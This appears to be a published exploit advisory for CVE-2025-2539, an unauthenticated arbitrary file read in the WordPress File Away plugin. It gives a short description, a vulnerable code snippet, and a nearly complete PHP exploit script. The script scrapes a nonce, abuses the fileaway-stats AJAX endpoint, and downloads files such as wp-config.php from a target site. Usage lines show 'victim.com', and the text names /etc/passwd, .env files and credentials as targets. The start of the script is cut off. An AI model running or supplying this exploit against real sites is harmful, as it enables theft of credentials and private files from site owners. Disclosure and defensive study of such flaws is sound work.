============================================================================================================================================= | # Title : WordPress File Away Plugin <= 3.9.9.0.1 - unauthorized access Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/file-away/ | ============================================================================================================================================= POC : [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2539 https://packetstorm.news/files/id/196941/ https://wpscan.com/vulnerability/12350 [+] Summary A critical arbitrary file read vulnerability exists in the WordPress File Away plugin version 3.9.9.0.1 and earlier. The vulnerability allows unauthenticated attackers to read arbitrary files from the server file system through improper access control in the fileaway-stats AJAX endpoint. [+] Technical Description The vulnerability exists in the File Away plugin's fileaway-stats AJAX endpoint, which fails to properly validate and restrict file access. The plugin exposes a file reading functionality that can be exploited to: 1. Extract sensitive configuration files (wp-config.php) 2. Read system files (/etc/passwd) 3. Access environment files (.env) 4. Retrieve database credentials and API keys [+] Vulnerable Code Pattern: ```php // In /wp-content/plugins/file-away/lib/fileaway.php add_action('wp_ajax_nopriv_fileaway-stats', 'fileaway_stats_callback'); function fileaway_stats_callback() { $nonce = $_POST['nonce']; $file = $_POST['file']; // Nonce verification can be bypassed or is insufficient if (!wp_verify_nonce($nonce, 'fileaway_stats_nonce')) { // Nonce check may fail but execution continues } // No file path validation or access control $content = file_get_contents($file); // Returns file content directly echo json_encode($content); wp_die(); } [+] Usage: Usage: php poc.php https://victim.com wp-config.php [+] POC : colors = [ 'RED' => "\033[91m", 'GREEN' => "\033[92m", 'YELLOW' => "\033[93m", 'BLUE' => "\033[94m", 'MAGENTA' => "\033[95m", 'CYAN' => "\033[96m", 'WHITE' => "\033[97m", 'BOLD' => "\033[1m", 'RESET' => "\033[0m" ]; } private function color($text, $color) { return $this->colors[$color] . $text . $this->colors['RESET']; } private function showBanner() { $banner = $this->color(" ", 'CYAN') . $this->color(" ", 'MAGENTA') . $this->color("\n @indoushka\n\n", 'WHITE'); echo $banner . "\n"; } private function makeRequest($url, $method = 'GET', $data = null, $headers = []) { $contextOptions = [ 'http' => [ 'method' => $method, 'header' => implode("\r\n", $headers), 'timeout' => 10, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; if ($method === 'POST' && $data) { $contextOptions['http']['content'] = http_build_query($data); $contextOptions['http']['header'] .= "\r\nContent-Type: application/x-www-form-urlencoded"; } $context = stream_context_create($contextOptions); $response = @file_get_contents($url, false, $context); if ($response === false) { return ['success' => false, 'error' => 'Request failed']; } return ['success' => true, 'content' => $response]; } private function extractNonce($html) { // Look for fileaway_stats nonce in the HTML if (preg_match('/var\s+fileaway_stats\s*=\s*\{[^}]*"nonce":"([0-9a-f]+)"/', $html, $matches)) { return $matches[1]; } return null; } private function cleanResponse($response) { // Remove backslashes and quotes $cleaned = str_replace('\\', '', $response); $cleaned = trim($cleaned, '"'); return $cleaned; } private function sanitizeFilename($filename) { // Remove protocol and special characters for safe filename $sanitized = preg_replace('/^https?:\/\//', '', $filename); $sanitized = preg_replace('/[^a-zA-Z0-9._-]/', '_', $sanitized); return $sanitized; } public function execute($target, $filename) { $this->showBanner(); echo $this->color("[*] Target: ", 'BLUE') . $target . "\n"; echo $this->color("[*] File to read: ", 'BLUE') . $filename . "\n"; // Step 1: Get fileaway-stats nonce echo $this->color("[*] Extracting fileaway_stats nonce...", 'YELLOW') . "\n"; $response = $this->makeRequest($target); if (!$response['success']) { echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n"; exit(1); } $nonce = $this->extractNonce($response['content']); if (!$nonce) { echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n"; exit(1); } echo $this->color("[+] Nonce found: ", 'GREEN') . $nonce . "\n"; // Step 2: Exploit arbitrary file read echo $this->color("[*] Sending fileaway-stats request...", 'YELLOW') . "\n"; $ajaxUrl = rtrim($target, '/') . '/wp-admin/admin-ajax.php'; $postData = [ 'action' => 'fileaway-stats', 'nonce' => $nonce, 'file' => $filename ]; $response = $this->makeRequest($ajaxUrl, 'POST', $postData); if (!$response['success']) { echo $this->color("[!] Failed to send fileaway-stats request", 'RED') . "\n"; exit(1); } $fileUrl = $this->cleanResponse($response['content']); if (empty($fileUrl)) { echo $this->color("[!] Failed to extract file URL from response", 'RED') . "\n"; exit(1); } echo $this->color("[+] Retrieved file URL: ", 'GREEN') . $fileUrl . "\n"; // Step 3: Download file content echo $this->color("[*] Downloading file content...", 'YELLOW') . "\n"; $fileResponse = $this->makeRequest($fileUrl); if (!$fileResponse['success']) { echo $this->color("[!] Failed to download file content", 'RED') . "\n"; exit(1); } $content = $fileResponse['content']; // Save file $outputFilename = $this->sanitizeFilename($target) . '_' . basename($filename); if (file_put_contents($outputFilename, $content) !== false) { echo $this->color("[+] File saved as: ", 'GREEN') . $outputFilename . "\n"; } else { echo $this->color("[!] Failed to save file", 'RED') . "\n"; } // Step 4: Show file content echo $this->color("\n[*] File content:", 'CYAN') . "\n"; echo $this->color(str_repeat("=", 50), 'CYAN') . "\n"; echo $content . "\n"; echo $this->color(str_repeat("=", 50), 'CYAN') . "\n"; } } // Main execution if (php_sapi_name() === 'cli') { if ($argc !== 3) { echo "CVE-2025-2539 - File Away Arbitrary File Read Exploit\n"; echo "Usage: php exploit.php \n"; echo "Example: php exploit.php https://victim.com wp-config.php\n"; echo "\nDescription:\n"; echo " This exploit targets File Away WordPress plugin <= 3.9.9.0.1\n"; echo " allowing arbitrary file read through the fileaway-stats AJAX endpoint.\n"; exit(1); } $target = $argv[1]; $filename = $argv[2]; // Validate target URL if (!filter_var($target, FILTER_VALIDATE_URL)) { echo "Error: Invalid target URL\n"; exit(1); } $exploit = new FileAwayExploit(); $exploit->execute($target, $filename); } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================